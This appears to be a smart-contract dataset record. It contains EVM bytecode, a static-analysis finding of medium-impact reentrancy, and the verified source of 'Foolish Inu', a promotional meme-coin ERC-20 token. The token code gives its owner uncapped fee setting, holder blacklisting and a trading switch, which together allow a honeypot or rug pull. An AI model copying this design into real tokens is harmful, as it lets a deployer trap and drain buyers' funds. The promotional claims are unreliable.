c6c39160248082019260009290919082900301818387803b15801561038357600080fd5b505af1158015610397573d6000803e3d6000fd5b505050506103a5338461083f565b60408051848152905133917fa864a8b988e604bb05d6ce75d53efabb5620c45b15380b7bd0c51dcfa71dda03919081900360200190a25050505b005b600080fd5b3480156103f257600080fd5b506103fb610970565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561043057600080fd5b5061043961098c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561047357818101518382015260200161045b565b50505050905090810190601f1680156104a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104ba57600080fd5b506103df600480360360208110156104d157600080fd5b5035610a40565b3480156104e457600080fd5b5061051e600480360360408110156104fb57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610bb4565b604080519115158252519081900360200190f35b34801561053e57600080fd5b506105476107c1565b60408051918252519081900360200190f35b34801561056557600080fd5b5061051e6004803603606081101561057c57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610bca565b3480156105b557600080fd5b506105be610c2e565b6040805160ff9092168252519081900360200190f35b3480156105e057600080fd5b5061051e600480360360408110156105f757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610c37565b34801561062657600080fd5b50610547610c80565b34801561063b57600080fd5b506105476004803603602081101561065257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610cb1565b34801561067b57600080fd5b506103fb610cd9565b34801561069057600080fd5b506103df600480360360208110156106a757600080fd5b5035610cfa565b3480156106ba57600080fd5b506103df600480360360208110156106d157600080fd5b5035610d9c565b3480156106e457600080fd5b50610439610da9565b3480156106f957600080fd5b5061051e6004803603604081101561071057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610e28565b34801561073f57600080fd5b5061051e6004803603604081101561075657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610e71565b34801561078557600080fd5b506105476004803603604081101561079c57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610e7e565b60025490565b600082828401101561083a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f4164646974696f6e206f766572666c6f77000000000000000000000000000000604482015290519081900360640190fd5b500190565b73ffffffffffffffffffffffffffffffffffffffff82166108c157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5a65726f20616464726573730000000000000000000000000000000000000000604482015290519081900360640190fd5b6002546108d4908263ffffffff6107c716565b60025573ffffffffffffffffffffffffffffffffffffffff821660009081526020819052604090205461090d908263ffffffff6107c716565b73ffffffffffffffffffffffffffffffffffffffff83166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60038054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a365780601f10610a0b57610100808354040283529160200191610a36565b820191906000526020600020905b815481529060010190602001808311610a1957829003601f168201915b5050505050905090565b60008111610aaf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f5a65726f20616d6f756e74000000000000000000000000000000000000000000604482015290519081900360640190fd5b600654604080517fee9ec6c300000000000000000000000000000000000000000000000000000000815260048101849052905173ffffffffffffffffffffffffffffffffffffffff9092169163ee9ec6c39160248082019260009290919082900301818387803b158015610b2257600080fd5b505af1158015610b36573d6000803e3d6000fd5b5050600754600554610b719350610100900473ffffffffffffffffffffffffffffffffffffffff90811692503391168463ffffffff610eb616565b610b7b338261083f565b60408051828152905133917fa864a8b988e604bb05d6ce75d53efabb5620c45b15380b7bd0c51dcfa71dda03919081900360200190a250565b6000610bc1338484610f51565b50600192915050565b6000610bd7848484611065565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260016020908152604080832033808552925290912054610c24918691610c1f908663ffffffff61135316565b610f51565b5060019392505050565b60055460ff1690565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091610bc1918590610c1f908663ffffffff6107c716565b6000610c8a6107c1565b60075473ffffffffffffffffffffffffffffffffffffffff163181610cab57fe5b04905090565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b600554610100900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d046107c1565b60075473ffffffffffffffffffffffffffffffffffffffff1631830281610d2757fe5b049050610d3433836113ca565b604051339082156108fc029083906000818181858888f19350505050158015610d61573d6000803e3d6000fd5b5060408051838152905133917ff65ce03794824579bcd95d8c6743ffc10c4a5e7405fb3876c1abf81453105c42919081900360200190a25050565b610da633826113ca565b50565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a365780601f10610a0b57610100808354040283529160200191610a36565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091610bc1918590610c1f908663ffffffff61135316565b6000610bc1338484611065565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b6040805173ffffffffffffffffffffffffffffffffffffffff80861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052610f4b908590611510565b50505050565b73ffffffffffffffffffffffffffffffffffffffff831615801590610f8b575073ffffffffffffffffffffffffffffffffffffffff821615155b610ff657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5a65726f20616464726573730000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff83161580159061109f575073ffffffffffffffffffffffffffffffffffffffff821615155b61110a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5a65726f20616464726573730000000000000000000000000000000000000000604482015290519081900360640190fd5b60006111168383611764565b905080156112735773ffffffffffffffffffffffffffffffffffffffff8416600090815260208190526040902054611154908363ffffffff61135316565b73ffffffffffffffffffffffffffffffffffffffff851660009081526020819052604090205560025461118d908363ffffffff61135316565b60025560408051838152905160009173ffffffffffffffffffffffffffffffffffffffff8716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a360408051838152905173ffffffffffffffffffffffffffffffffffffffff8616917ff65ce03794824579bcd95d8c6743ffc10c4a5e7405fb3876c1abf81453105c42919081900360200190a260405173ffffffffffffffffffffffffffffffffffffffff85169082156108fc029083906000818181858888f1935050505015801561126d573d6000803e3d6000fd5b50610f4b565b73ffffffffffffffffffffffffffffffffffffffff84166000908152602081905260409020546112a9908363ffffffff61135316565b73ffffffffffffffffffffffffffffffffffffffff80861660009081526020819052604080822093909355908516815220546112eb908363ffffffff6107c716565b73ffffffffffffffffffffffffffffffffffffffff8085166000818152602081815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b6000818310156113c457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f537562737472756374696f6e206f766572666c6f770000000000000000000000604482015290519081900360640190fd5b50900390565b73ffffffffffffffffffffffffffffffffffffffff821661144c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5a65726f20616464726573730000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040902054611482908263ffffffff61135316565b73ffffffffffffffffffffffffffffffffffffffff83166000908152602081905260409020556002546114bb908263ffffffff61135316565b60025560408051828152905160009173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b61152f8273ffffffffffffffffffffffffffffffffffffffff166117c4565b61159a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e6f6e2d636f6e74726163740000000000000000000000000000000000000000604482015290519081900360640190fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061160357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016115c6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611665576040519150601f19603f3d011682016040523d82523d6000602084013e61166a565b606091505b5091509150816116db57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f43616c6c206661696c6564000000000000000000000000000000000000000000604482015290519081900360640190fd5b805115610f4b578080602001905160208110156116f757600080fd5b5051610f4b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f742073756363656564000000000000000000000000000000000000000000604482015290519081900360640190fd5b60075460009073ffffffffffffffffffffffffffffffffffffffff8481169116146117905760006117bd565b6117986107c1565b60075473ffffffffffffffffffffffffffffffffffffffff16318302816117bb57fe5b045b9392505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906117f857508115155b94935050505056fea26469706673582212202069eed6cc11dc0f590537ea57c3eb30b00422e483c1d962225685db22e2119d64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,423 |
0x797a05635004bb39aa334b92382d3289ad32fda5
|
/**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
/**
Foolish Inu
Don't be a fool and sell your bags for a measly 2x. Foolish Inu is a community-driven token that seeks out to bring financial freedom to their community.
A meme-coin inspired by April Fools (April 1st), Foolish Inu will take over ERC-20.
Tokenomics
1,000,000,000 Total Supply
20,000,000 Max Wallet
Taxes
12% Buy/Sell
2% Reflections
5% Marketing
3% Liquidity Pool Fee
2% Development Fee
Website : Released at $100k MC
Telegram: https://t.me/FoolishInu
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FoolishInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FOOLISH INU";
string private constant _symbol = "FINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x423Af27d31356b60fFa023E7aC813817140d738A);
address payable private _marketingAddress = payable(0x423Af27d31356b60fFa023E7aC813817140d738A);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b157600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600b81526a464f4f4c49534820494e5560a81b60208201525b60405161023b9190611a25565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7a565b61069b565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aa6565b6106b2565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae7565b61071b565b34801561036f57600080fd5b506101fc61037e366004611b14565b610766565b34801561038f57600080fd5b506101fc6107ae565b3480156103a457600080fd5b506102c36103b3366004611ae7565b6107f9565b3480156103c457600080fd5b506101fc61081b565b3480156103d957600080fd5b506101fc6103e8366004611b2f565b61088f565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae7565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b14565b6108be565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600481526346494e5560e01b602082015261022e565b3480156104bd57600080fd5b506101fc6104cc366004611b2f565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b48565b610935565b3480156104fd57600080fd5b5061026461050c366004611a7a565b610973565b34801561051d57600080fd5b5061026461052c366004611ae7565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b7a565b6109d4565b34801561058257600080fd5b506102c3610591366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2f565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c37565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c98565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c37565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c37565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c37565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c37565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c37565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c37565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6c565b9050602002016020810190610a359190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c98565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c37565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c37565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb3565b106110105760405162461bcd60e51b8152602060048201